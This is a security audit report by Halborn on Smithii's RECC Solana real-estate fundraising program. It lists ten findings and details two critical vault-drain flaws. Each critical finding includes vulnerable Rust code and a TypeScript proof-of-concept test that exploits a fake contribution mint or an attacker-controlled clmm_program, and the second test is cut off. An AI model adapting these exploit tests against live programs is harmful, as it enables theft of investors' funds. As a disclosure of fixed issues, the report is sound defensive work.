Prepared by:
HALBORN
Last Updated 09/19/2025
Date of Engagement: July 29th, 2025 - August 4th, 2025
100% of all REPORTED Findings have been addressed
All findings
10
Critical
2
High
0
Medium
2
Low
3
Informational
3
Smithii
engaged Halborn to conduct a security assessment of the RECC
programs from 29th July to 4th August, 2025. The security assessment was scoped to the smart contracts provided in the GitHub repository recc-program
, commit hashes and further details can be found in the Scope section of this report.
The RECC
Program is a Real World Asset (RWA) investment platform that enables investors to participate in real estate opportunities. Anyone can list projects on the platform, and investors can contribute funds to these projects in exchange for earnings once the business is completed in the real world. The platform also supports the creation of external markets, allowing investors to exit their positions early.
Halborn was provided 5 days for the engagement and assigned 1 full-time security engineers to review the security of the Solana Programs in scope. The engineers are blockchain and smart contract security experts with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.
The purpose of the assessment is to:
Identify potential security issues within the Solana Program.
Ensure that smart contract functionality operates as intended.
In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the Smithii team
. The main ones were the following:
Store the contribution token mint in the 'fundraise' PDA during 'create_fundraise', and add a check in 'contribute' to ensure the supplied 'contribution_mint' matches the one stored in the fundraise account.
Validate that 'clmm_program' passed in 'migrate' instruction matches raydium CLMM Program ID.
Move the initial Raydium CLMM pool creation and initialization logic to the 'create_fundraise' instruction.
Remove the current balance check 'is_vault_ata_credited' in claim instruction.
Ensure that the 'project' account provided in the 'claim' instruction matches the 'project' key stored in the 'fundraise' PDA.
Utilize CreateV1CpiBuilder from the 'mpl-token-metadata' provided by the Metaplex Token Metadata program. Additionally, the program should validate that the 'contribution_mint' does not have the TransferFee extension enabled.
Halborn performed a combination of a manual review of the source code and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the program assessment. While manual testing is recommended to uncover flaws in business logic, processes, and implementation; automated testing techniques help enhance coverage of programs and can quickly identify items that do not follow security best practices.
The following phases and associated tools were used throughout the term of the assessment:
Research into the architecture, purpose, and use of the platform.
Manual program source code review to identify business logic issues.
Mapping out possible attack vectors.
Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.
Scanning dependencies for known vulnerabilities (cargo audit
).
Local runtime testing (anchor test
).
EXPLOITABILITY METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Attack Origin (AO) | Arbitrary (AO:A) Specific (AO:S) | 1 0.2 |
Attack Cost (AC) | Low (AC:L) Medium (AC:M) High (AC:H) | 1 0.67 0.33 |
Attack Complexity (AX) | Low (AX:L) Medium (AX:M) High (AX:H) | 1 0.67 0.33 |
IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Confidentiality (C) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Integrity (I) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Availability (A) | None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C) | 0 0.25 0.5 0.75 1 |
Deposit (D) | None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C) | 0 0.25 0.5 0.75 1 |
Yield (Y) | None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C) | 0 0.25 0.5 0.75 1 |
SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
---|---|---|
Reversibility () | None (R:N) Partial (R:P) Full (R:F) | 1 0.5 0.25 |
Scope () | Changed (S:C) Unchanged (S:U) | 1.25 1 |
Severity | Score Value Range |
---|---|
Critical | 9 - 10 |
High | 7 - 8.9 |
Medium | 4.5 - 6.9 |
Low | 2 - 4.4 |
Informational | 0 - 1.9 |
Critical
2
High
0
Medium
2
Low
3
Informational
3
Security analysis | Risk level | Remediation Date |
---|---|---|
Missing Validation on Contribution Mint Enables Vault Drain and Raydium LP Theft | Critical | Solved - 07/31/2025 |
Missing Validation on clmm_program Allows Fundraise Vault Drain | Critical | Solved - 09/08/2025 |
Unrestricted migrate Invocation Before Target Reached Causes Fund Misallocation | Medium | Solved - 09/08/2025 |
First Claim Can Block All Subsequent Claims | Medium | Solved - 09/06/2025 |
Missing validation in claim instruction allow pre-mature withdraw of locked funds | Low | Solved - 07/31/2025 |
Pool Front-Running Blocks External Market Creation | Low | Solved - 09/08/2025 |
Token-2022 LP Mint and Transfer Fee Extension Not Properly Supported | Low | Solved - 09/08/2025 |
Missing Validation in Multiple Instructions | Informational | Partially Solved - 09/08/2025 |
Users Can Bypass Protocol Fees by Claiming Small Amounts | Informational | Solved - 09/08/2025 |
Unused Accounts and Redundant PDA Derivations | Informational | Solved - 09/08/2025 |
//
The contribute
instruction allows users to deposit tokens into a project vault in exchange for LP tokens that represent their proportional stake. These LP tokens can later be redeemed for the original contribution plus yield once the project completes and is funded.
However, the instruction does not validate that the contribution_mint
matches the intended token mint defined for the fundraise. As a result, users can contribute any arbitrary or fake token, receive valid LP tokens in return, and burn those LP tokens to claim real assets once the vault is funded. This mainly has two impacts:
Attackers can mint LP tokens using worthless tokens and later claim legitimate yield and principal from the vault.
LP liquidity provided in Raydium can be stolen by these LP tokens.
Note: While the project can be configured to restrict participation in the fundraise to whitelisted users, this issue still applies, but is scoped to whitelisted participants.
program/src/instructions/contribute.rs
#[derive(Accounts)]
pub struct Contribute<'info> {
#[account(mut)]
pub authority: Signer<'info>,
#[account(mut)]
pub fundraise: Account<'info, Fundraise>,
#[account(mut)]
pub project: Account<'info, Project>,
#[account(
init_if_needed,
payer = authority,
associated_token::mint = lp_mint,
associated_token::authority = authority
)]
pub authority_lp_ata: InterfaceAccount<'info, TokenAccount>,
#[account(
mut,
associated_token::mint = contribution_mint,
associated_token::authority = authority,
)]
pub authority_contribution_ata: InterfaceAccount<'info, TokenAccount>,
#[account(
mut,
associated_token::mint = contribution_mint,
associated_token::authority = fundraise,
)]
pub vault_ata: InterfaceAccount<'info, TokenAccount>,
// mint of the lp tokens
#[account(mut)]
pub lp_mint: InterfaceAccount<'info, Mint>,
// mint of the token that will be used for contributing
#[account(mut)]
pub contribution_mint: InterfaceAccount<'info, Mint>,
pub system_program: Program<'info, System>,
pub token_program: Interface<'info, TokenInterface>,
pub associated_token_program: Program<'info, AssociatedToken>,
}
#[access_control(ctx.accounts.validate(proof, amount))]
pub fn contribute(
ctx: Context<Contribute>,
amount: u64,
proof: Option<Vec<[u8; 32]>>
) -> Result<()> {
let fundraise: &mut Account<'_, Fundraise> = &mut ctx.accounts.fundraise;
let lp_mint = ctx.accounts.lp_mint.key();
// ? transfer tokens to the vault ata
let cpi_accounts = TransferChecked {
from: ctx.accounts.authority_contribution_ata.to_account_info().clone(),
mint: ctx.accounts.contribution_mint.to_account_info().clone(),
to: ctx.accounts.vault_ata.to_account_info().clone(),
authority: ctx.accounts.authority.to_account_info(),
};
let cpi_program = ctx.accounts.token_program.to_account_info();
let cpi_context = CpiContext::new(cpi_program, cpi_accounts);
token_interface::transfer_checked(
cpi_context,
amount,
ctx.accounts.contribution_mint.decimals
)?;
// ? mint tokens to user's ata
let fundraise_bump = &[fundraise.bump];
let signer_seeds = &[
&[
Fundraise::SEED.as_bytes(),
lp_mint.as_ref(), // owns escrow wallet on soundwork
fundraise_bump,
][..],
];
let cpi_accounts = MintTo {
mint: ctx.accounts.lp_mint.to_account_info().clone(),
to: ctx.accounts.authority_lp_ata.to_account_info().clone(),
authority: ctx.accounts.fundraise.to_account_info(),
};
let cpi_program = ctx.accounts.token_program.to_account_info();
let cpi_context = CpiContext::new_with_signer(
cpi_program,
cpi_accounts,
signer_seeds
);
token_interface::mint_to(cpi_context, amount)?;
Ok(())
}
}
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
Keypair,
LAMPORTS_PER_SOL,
PublicKey,
SystemProgram,
} from "@solana/web3.js";
import {
createMint,
getAssociatedTokenAddressSync,
getOrCreateAssociatedTokenAccount,
mintTo,
TOKEN_PROGRAM_ID,
} from "@solana/spl-token";
import { assert } from "chai";
describe("recc-custom", () => {
// Configure the client to use the local cluster.
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
let signer = Keypair.generate();
let usdcMint: PublicKey;
let lpMint: PublicKey;
let fundraisePda: PublicKey;
let projectPda: PublicKey;
let fundraisePdaTwo: PublicKey;
let projectPdaTwo: PublicKey;
const lpMintTwoKeypair = anchor.web3.Keypair.generate();
let lpMintTwo = lpMintTwoKeypair.publicKey;
let vaultAta: PublicKey;
let vaultAtaTwo: PublicKey;
let lpTokenMetadata: PublicKey;
let fundraiseBump: number;
let projectBump: number;
let authorityContributionAta;
// Derive LP Mint keypair
const lpMintKeypair = anchor.web3.Keypair.generate();
lpMint = lpMintKeypair.publicKey;
const METADATA_PROGRAM_ID = new PublicKey(
"metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
);
function delay(ms: number) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
const uiAmountToBn = (
bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);
before("BeforeAll", async () => {
await provider.connection.requestAirdrop(
signer.publicKey,
100 * LAMPORTS_PER_SOL
);
await delay(1000);
// Create a contribution mint
usdcMint = await createMint(
provider.connection,
signer,
signer.publicKey,
null,
6
);
// Derive PDAs
[fundraisePda, fundraiseBump] = await PublicKey.findProgramAddressSync(
[Buffer.from("fundraise"), lpMint.toBuffer()],
program.programId
);
[projectPda, projectBump] = await PublicKey.findProgramAddressSync(
[Buffer.from("project"), lpMint.toBuffer()],
program.programId
);
// Derive More PDAs
[fundraisePdaTwo,] = await PublicKey.findProgramAddressSync(
[Buffer.from("fundraise"), lpMintTwo.toBuffer()],
program.programId
);
[projectPdaTwo,] = await PublicKey.findProgramAddressSync(
[Buffer.from("project"), lpMintTwo.toBuffer()],
program.programId
);
});
it("Initializes first Project", async () => {
const [metadataPda, _] = await PublicKey.findProgramAddressSync(
[
Buffer.from("metadata"),
METADATA_PROGRAM_ID.toBuffer(),
lpMint.toBuffer(),
],
METADATA_PROGRAM_ID
);
vaultAta = getAssociatedTokenAddressSync(
usdcMint,
fundraisePda,
true,
TOKEN_PROGRAM_ID
);
const currentSlot = await provider.connection.getSlot();
const currentBlocktime = await provider.connection.getBlockTime(
currentSlot
);
const TEN_DAYS = 86400 * 10;
const tx = await program.methods
.createFundraise(
{
targetAmount: new anchor.BN(1_000_000_000),
fundraiseStart: new anchor.BN(currentBlocktime),
fundraiseEnd: new anchor.BN(currentBlocktime + TEN_DAYS),
projectEnd: new anchor.BN(currentBlocktime + TEN_DAYS * 2),
estimatedYieldBps: Number(1000),
presaleMerkleRoot: Array(32).fill(0),
},
{
name: "Fund LP Token",
symbol: "FLP",
uri: "https://example.com/metadata.json",
}
)
.accounts({
authority: signer.publicKey,
lpMint,
contributionMint: usdcMint,
lpTokenMetadataAccount: metadataPda,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, lpMintKeypair])
.rpc();
console.log("Fundraise created in tx:", tx);
const project = await program.account.project.fetch(projectPda);
assert.ok(project.lpMint.equals(lpMint));
});
it("Contribute 0 USDC with correct LP Tokens", async () => {
let contributionAmount = 0;
authorityContributionAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
usdcMint,
signer.publicKey
);
let authorityLpAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
lpMint,
signer.publicKey
);
await delay(1000);
await program.methods
.contribute(new anchor.BN(contributionAmount), null)
.accounts({
authority: signer.publicKey,
fundraise: fundraisePda,
project: projectPda,
lpMint,
contributionMint: usdcMint,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer])
.rpc();
const contributionAmountBn = new anchor.BN(contributionAmount);
const zeroBn = new anchor.BN(0);
const vaultBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(vaultAta)
);
const userUSDCBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(
authorityContributionAta.address
)
);
const userLpBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(authorityLpAta.address)
);
assert.ok(
vaultBalBn.eq(contributionAmountBn),
"vault should hold the contributed USDC"
);
assert.ok(userUSDCBalBn.eq(zeroBn), "user USDC should be 0 after deposit");
assert.ok(
userLpBalBn.eq(contributionAmountBn),
"user LP should equal amount contributed"
);
});
it("Contribute with USDC with correct LP Tokens", async () => {
let contributionAmount = 100 * 1_000_000;
authorityContributionAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
usdcMint,
signer.publicKey
);
mintTo(
provider.connection,
signer,
usdcMint,
authorityContributionAta.address,
signer.publicKey,
100 * 10 ** 6
);
let authorityLpAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
lpMint,
signer.publicKey
);
await delay(1000);
await program.methods
.contribute(new anchor.BN(contributionAmount), null)
.accounts({
authority: signer.publicKey,
fundraise: fundraisePda,
project: projectPda,
lpMint,
contributionMint: usdcMint,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer])
.rpc();
const contributionAmountBn = new anchor.BN(contributionAmount);
const zeroBn = new anchor.BN(0);
const vaultBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(vaultAta)
);
const userUSDCBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(
authorityContributionAta.address
)
);
const userLpBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(authorityLpAta.address)
);
assert.ok(
vaultBalBn.eq(contributionAmountBn),
"vault should hold the contributed USDC"
);
assert.ok(userUSDCBalBn.eq(zeroBn), "user USDC should be 0 after deposit");
assert.ok(
userLpBalBn.eq(contributionAmountBn),
"user LP should equal amount contributed"
);
});
let unexpectedMint;
it("Contribute with arbitrary/unexpected Token Mint and LP Tokens corresponding to the project", async () => {
// Create a contribution mint
unexpectedMint = await createMint(
provider.connection,
signer,
signer.publicKey,
null,
6
);
let contributionAmount = 100 * 1_000_000;
let authorityUnexpectedContributionAta =
await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
unexpectedMint,
signer.publicKey
);
// Self mint some tokens
mintTo(
provider.connection,
signer,
unexpectedMint,
authorityUnexpectedContributionAta.address,
signer.publicKey,
100 * 10 ** 6
);
// Create a vault for unpexted token
let unexpectedvaultAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
unexpectedMint,
fundraisePda,
true
);
let authorityLpAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
lpMint,
signer.publicKey
);
await delay(1000);
await program.methods
.contribute(new anchor.BN(contributionAmount), null)
.accounts({
authority: signer.publicKey,
fundraise: fundraisePda,
project: projectPda,
lpMint,
contributionMint: unexpectedMint,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer])
.rpc();
const contributionAmountBn = new anchor.BN(contributionAmount);
const doubledBn = contributionAmountBn.muln(2); // Before 100_000_000 + new 100_000_000
const zeroBn = new anchor.BN(0);
const vaultUSDCBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(vaultAta)
);
const vaultUnexpBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(
unexpectedvaultAta.address
)
);
const userUnexpBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(
authorityUnexpectedContributionAta.address
)
);
const userLpBalBn = uiAmountToBn(
await provider.connection.getTokenAccountBalance(authorityLpAta.address)
);
assert.ok(
vaultUSDCBalBn.eq(contributionAmountBn),
"USDC vault should still have original 100 USDC"
);
assert.ok(
vaultUnexpBalBn.eq(contributionAmountBn),
"unexpected-mint vault should now have 100 tokens"
);
assert.ok(
userUnexpBalBn.eq(zeroBn),
"user unexpected-mint ATA should be empty"
);
assert.ok(
userLpBalBn.eq(doubledBn),
"user LP balance should now be doubled (200)"
);
});
});
Result
of running the testcase
It is recommended to store the contribution token mint in the fundraise
PDA during create_fundraise
, and add a check in contribute
to ensure the supplied contribution_mint
matches the one stored in the fundraise account.
SOLVED: The RECC team resolved the finding by checking that the contribution mint relates to the fundraising PDA.
//
The migrate
instruction allows anyone to bootstrap external liquidity by creating a Raydium CLMM pool and injecting 10% of the raised contribution tokens. However, the instruction accepts the clmm_program
as AccountInfo
without verifying that it matches the expected Raydium CLMM program ID. This leads to the following impact:
Any attacker can drain all fundraise vaults by repeatedly invoking migrate
with a fake or attacker controlled program irrespective of if fundraise is over.
If the legitimate pool has already been created using migrate
in the intended way, an attacker can invoke migrate again with his controlled program. This will enables attacker to mint LP tokens to their token account and then perform swaps to retrieve the liquidity originally seeded in the legitimate Raydium pool.
Additionally, there is no restriction on who can call the migrate instruction or when it can be executed (i.e, before the fundraise completes), further expanding the attack surface across all fundraises.
program/src/instructions/migrate.rs
#[derive(Accounts)]
pub struct Migrate<'info> {
#[account(mut)]
pub payer: Signer<'info>,
#[account(mut)]
pub fundraise: Box<Account<'info, Fundraise>>,
// can be contribution or lp mint
#[account(mut)]
pub token_mint_0: Box<InterfaceAccount<'info, Mint>>,
#[account(mut)]
pub vault_ata: Box<InterfaceAccount<'info, TokenAccount>>,
// can be contribution or lp mint
#[account(mut)]
pub token_mint_1: Box<InterfaceAccount<'info, Mint>>,
/// CHECK: Initialize an account to store the pool state
#[account(mut)]
pub pool_state: UncheckedAccount<'info>,
/// CHECK: we check this ourselves when building
pub amm_config: UncheckedAccount<'info>,
/// CHECK: Token_0 vault for the pool
#[account(mut,)]
pub token_vault_0: UncheckedAccount<'info>,
/// CHECK: Token_1 vault for the pool
#[account(mut)]
pub token_vault_1: UncheckedAccount<'info>,
/// CHECK: Initialize an account to store if a tick array is initialized.
#[account(mut)]
pub tick_array_bitmap: UncheckedAccount<'info>,
/// CHECK: Initialize an account to store oracle observations, the account must be created off-chain, constract will initialzied it
#[account(mut)]
pub observation_state: UncheckedAccount<'info>,
/// CHECK: Gen keypair for nft position
#[account(mut)]
pub position_nft_mint: Signer<'info>,
/// CHECK: Token account where position NFT will be minted
/// This account created in the contract by cpi to avoid large stack variables
#[account(mut)]
pub position_nft_account: UncheckedAccount<'info>,
/// To store metaplex metadata
/// CHECK: Safety check performed inside function body
#[account(mut)]
pub metadata_account: UncheckedAccount<'info>,
/// CHECK: Store the information of market marking in range
#[account(mut)]
pub protocol_position: UncheckedAccount<'info>,
/// CHECK: Account to mark the lower tick as initialized
#[account(mut)]
pub tick_array_lower: UncheckedAccount<'info>,
/// CHECK:Account to store data for the position's upper tick
#[account(mut)]
pub tick_array_upper: UncheckedAccount<'info>,
/// CHECK: personal position state
#[account(mut)]
pub personal_position: UncheckedAccount<'info>,
/// The token_0 account deposit token to the pool
/// since we cannot use fundraise as auth, we use
/// this as a temp TA
#[account(
init_if_needed,
payer = payer,
associated_token::mint = token_mint_0,
associated_token::authority = payer,
associated_token::token_program = token_program
)]
pub token_account_0: Box<InterfaceAccount<'info, TokenAccount>>,
/// The token_1 account deposit token to the pool
/// since we cannot use fundraise as auth, we use
/// this as a temp TA
#[account(
init_if_needed,
payer = payer,
associated_token::mint = token_mint_1,
associated_token::authority = payer,
associated_token::token_program = token_program
)]
pub token_account_1: Box<InterfaceAccount<'info, TokenAccount>>,
pub rent: Sysvar<'info, Rent>,
/// CHECK: we check this ourselves when building
pub clmm_program: AccountInfo<'info>,
pub system_program: Program<'info, System>,
pub metadata_program: Program<'info, Metadata>,
pub token_program_2022: Program<'info, Token2022>,
pub token_program: Interface<'info, TokenInterface>,
pub associated_token_program: Program<'info, AssociatedToken>,
}
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
createMint,
getAssociatedTokenAddressSync,
getOrCreateAssociatedTokenAccount,
mintTo,
TOKEN_PROGRAM_ID,
} from "@solana/spl-token";
import {
Keypair,
LAMPORTS_PER_SOL,
PublicKey,
Signer,
} from "@solana/web3.js";
anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey(
"metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
);
const wait = (ms: number) => new Promise((r) => setTimeout(r, ms));
async function airdrop(pubkey: PublicKey, sol = 100) {
await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
await wait(1_000);
}
async function createFundraise({
lpMint,
usdcMint,
target,
bps,
fundraiseEnd,
projectEnd,
}: {
lpMint: Signer;
usdcMint: PublicKey;
target: number;
bps: number;
fundraiseEnd: number;
projectEnd: number;
}) {
const [fundraise] = PublicKey.findProgramAddressSync(
[Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
program.programId
);
const [project] = PublicKey.findProgramAddressSync(
[Buffer.from("project"), lpMint.publicKey.toBuffer()],
program.programId
);
const vaultAta = getAssociatedTokenAddressSync(
usdcMint,
fundraise,
true,
TOKEN_PROGRAM_ID
);
const now = (await provider.connection.getBlockTime(
await provider.connection.getSlot()
))!;
const DAY10 = 86400 * 10;
const [metadataPda, _] = await PublicKey.findProgramAddressSync(
[
Buffer.from("metadata"),
METADATA_PROGRAM_ID.toBuffer(),
lpMint.publicKey.toBuffer(),
],
METADATA_PROGRAM_ID
);
await program.methods
.createFundraise(
{
targetAmount: new anchor.BN(target),
fundraiseStart: new anchor.BN(now),
fundraiseEnd: new anchor.BN(now + fundraiseEnd),
projectEnd: new anchor.BN(now + projectEnd),
estimatedYieldBps: bps,
presaleMerkleRoot: Array(32).fill(0),
},
{ name: "LP", symbol: "LP", uri: "https://example.com" }
)
.accounts({
authority: signer.publicKey,
lpMint: lpMint.publicKey,
contributionMint: usdcMint,
lpTokenMetadataAccount: metadataPda,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, lpMint])
.rpc();
return { fundraise, project, vaultAta };
}
export const CLMM_PROGRAM_ID = new PublicKey(
"DRayAUgENGQBKVaX8owNhgzkEDyoHTGVEGHVJT1E9pfH"
);
export const ammConfigKey = new PublicKey(
"CD4aJtX11cqTCAc83nxSPkkh5JW2yjD6uwHeovjqQ1qu"
);
const POOL_SEED = "pool";
const POOL_VAULT_SEED = "pool_vault";
const OBSERVATION_SEED = "observation";
const POOL_TICK_ARRAY_BITMAP_SEED = "pool_tick_array_bitmap_extension";
const TICK_ARRAY_SEED = "tick_array";
const POSITION = "position";
const i32ToBuf = (n: number) =>
new anchor.BN(n, 10).toArrayLike(Buffer, "be", 4);
export function derivePoolPdas(
ammConfig: PublicKey,
tokenMint0: PublicKey,
tokenMint1: PublicKey,
tickLowerStartIndex: number,
tickUpperStartIndex: number
) {
/* 1. pool_state */
const [poolState, poolStateBump] = PublicKey.findProgramAddressSync(
[
Buffer.from(POOL_SEED),
ammConfig.toBuffer(),
tokenMint0.toBuffer(),
tokenMint1.toBuffer(),
],
CLMM_PROGRAM_ID
);
/* 2. vaults */
const [tokenVault0, tokenVault0Bump] = PublicKey.findProgramAddressSync(
[Buffer.from(POOL_VAULT_SEED), poolState.toBuffer(), tokenMint0.toBuffer()],
CLMM_PROGRAM_ID
);
const [tokenVault1, tokenVault1Bump] = PublicKey.findProgramAddressSync(
[Buffer.from(POOL_VAULT_SEED), poolState.toBuffer(), tokenMint1.toBuffer()],
CLMM_PROGRAM_ID
);
/* 3. observation & bitmap */
const [observationState, obsBump] = PublicKey.findProgramAddressSync(
[Buffer.from(OBSERVATION_SEED), poolState.toBuffer()],
CLMM_PROGRAM_ID
);
const [tickArrayBitmap, bitmapBump] = PublicKey.findProgramAddressSync(
[Buffer.from(POOL_TICK_ARRAY_BITMAP_SEED), poolState.toBuffer()],
CLMM_PROGRAM_ID
);
/* 4. tick-arrays for lower / upper start indices */
const [tickArrayLower, tickArrayLowerBump] = PublicKey.findProgramAddressSync(
[
Buffer.from(TICK_ARRAY_SEED),
poolState.toBuffer(),
i32ToBuf(tickLowerStartIndex),
],
CLMM_PROGRAM_ID
);
const [tickArrayUpper, tickArrayUpperBump] = PublicKey.findProgramAddressSync(
[
Buffer.from(TICK_ARRAY_SEED),
poolState.toBuffer(),
i32ToBuf(tickUpperStartIndex),
],
CLMM_PROGRAM_ID
);
const positionNFTMint = Keypair.generate()
const [positionNFTMetadataAccount, positionNFTMetadataAccountBump] =
PublicKey.findProgramAddressSync(
[
Buffer.from("metadata"),
METADATA_PROGRAM_ID.toBuffer(),
positionNFTMint.publicKey.toBuffer(),
],
METADATA_PROGRAM_ID
);
const [personalPosition, personalPositionBump] =
PublicKey.findProgramAddressSync(
[
Buffer.from("position"),
positionNFTMint.publicKey.toBuffer(),
],
CLMM_PROGRAM_ID
);
return {
poolState,
poolStateBump,
tokenVault0,
tokenVault0Bump,
tokenVault1,
tokenVault1Bump,
observationState,
obsBump,
tickArrayBitmap,
bitmapBump,
tickArrayLower,
tickArrayLowerBump,
tickArrayUpper,
tickArrayUpperBump,
positionNFTMint,
positionNFTMetadataAccount,
positionNFTMetadataAccountBump,
personalPosition,
personalPositionBump
};
}
describe("Pool Tests", () => {
let usdcMint: PublicKey;
let lpMintA;
let fundraiseA: PublicKey, projectA: PublicKey, vaultA: PublicKey;
let userLpAtaA: PublicKey;
let userUsdcAta: PublicKey;
before("set up two raises and user LP-A", async () => {
await airdrop(signer.publicKey);
usdcMint = await createMint(
provider.connection,
signer,
signer.publicKey,
null,
6
);
lpMintA = Keypair.generate();
({
fundraise: fundraiseA,
project: projectA,
vaultAta: vaultA,
} = await createFundraise({
lpMint: lpMintA,
usdcMint,
target: 100_000 * 1e6,
bps: 2_500,
fundraiseEnd: 3,
projectEnd: 7,
}));
userUsdcAta = (
await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
usdcMint,
signer.publicKey
)
).address;
userLpAtaA = (
await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
lpMintA.publicKey,
signer.publicKey
)
).address;
// Simulate Fundraise complete with only $20,000
await mintTo(
provider.connection,
signer,
usdcMint,
vaultA,
signer.publicKey,
20_000 * 1e6
);
});
it("User can drain funds from any fundraise vault by controlling clmm_program account", async () => {
let vaultABal = await provider.connection.getTokenAccountBalance(vaultA);
console.log("VaultA balance BEFORE :", vaultABal.value.uiAmountString)
let userUsdcBATA = getAssociatedTokenAddressSync(usdcMint, signer.publicKey)
let userUSDCBal = await provider.connection.getTokenAccountBalance(userUsdcBATA);
console.log("User USDC Balance balance BEFORE :", userUSDCBal.value.uiAmountString)
let userLPMintBalance = getAssociatedTokenAddressSync(lpMintA.publicKey, signer.publicKey)
let userLPMintBal = await provider.connection.getTokenAccountBalance(userLPMintBalance);
console.log("User LP-Mint Balance balance BEFORE :", userLPMintBal.value.uiAmountString)
// Ensure mint0 < mint1 (Raydium constraint)
const [mint0, mint1] =
lpMintA.publicKey.toBase58() < usdcMint.toBase58()
? [lpMintA.publicKey, usdcMint]
: [usdcMint, lpMintA.publicKey];
const pdas = derivePoolPdas(ammConfigKey, mint0, mint1, -128, 0);
let temp = Keypair.generate();
// Call multiple times to drain funds from the vault
await program.methods
.migrate(
-120,
+120,
-128,
+0,
new anchor.BN(1_000_000)
)
.accounts({
payer: signer.publicKey,
fundraise: fundraiseA,
tokenMint0: usdcMint,
vaultAta: vaultA,
tokenMint1: lpMintA.publicKey,
poolState: pdas.poolState,
ammConfig: ammConfigKey,
tokenVault0: pdas.tokenVault0,
tokenVault1: pdas.tokenVault1,
tickArrayBitmap: pdas.tickArrayBitmap,
observationState: pdas.observationState,
positionNftMint: pdas.positionNFTMint.publicKey,
positionNftAccount: getAssociatedTokenAddressSync(
pdas.positionNFTMint.publicKey,
pdas.poolState,
true
),
metadataAccount: pdas.positionNFTMetadataAccount,
protocolPosition: temp.publicKey,
tickArrayLower: pdas.tickArrayLower,
tickArrayUpper: pdas.tickArrayUpper,
personalPosition: pdas.personalPosition,
clmmProgram: new PublicKey("DbD2VLvM2vjSZ7DEyz93KXG2mggBdQjmjRSm6XPBss5"), // ATTACKER CONTROLLED PROGRAM_ID,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, pdas.positionNFTMint])
.rpc();
await program.methods
.migrate(
-120, // tick_lower_index
+120, // tick_upper_index
-128, // tick_array_lower_start_index
+0, // tick_array_upper_start_index
new anchor.BN(1_000_000) // liquidity (u64)
)
.accounts({
payer: signer.publicKey,
fundraise: fundraiseA,
tokenMint0: usdcMint,
vaultAta: vaultA,
tokenMint1: lpMintA.publicKey,
poolState: pdas.poolState,
ammConfig: ammConfigKey,
tokenVault0: pdas.tokenVault0,
tokenVault1: pdas.tokenVault1,
tickArrayBitmap: pdas.tickArrayBitmap,
observationState: pdas.observationState,
positionNftMint: pdas.positionNFTMint.publicKey,
positionNftAccount: getAssociatedTokenAddressSync(
pdas.positionNFTMint.publicKey,
pdas.poolState,
true
),
metadataAccount: pdas.positionNFTMetadataAccount,
protocolPosition: temp.publicKey,
tickArrayLower: pdas.tickArrayLower,
tickArrayUpper: pdas.tickArrayUpper,
personalPosition: pdas.personalPosition,
clmmProgram: new PublicKey("DbD2VLvM2vjSZ7DEyz93KXG2mggBdQjmjRSm6XPBss5"), // CLMM_PROGRAM_ID,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, pdas.positionNFTMint])
.rpc();
vaultABal = await provider.connection.getTokenAccountBalance(vaultA);
console.log("VaultA balance AFTER :", vaultABal.value.uiAmountString)
userUsdcBATA = getAssociatedTokenAddressSync(usdcMint, signer.publicKey)
userUSDCBal = await provider.connection.getTokenAccountBalance(userUsdcBATA);
console.log("User USDC Balance balance AFTER :", userUSDCBal.value.uiAmountString)
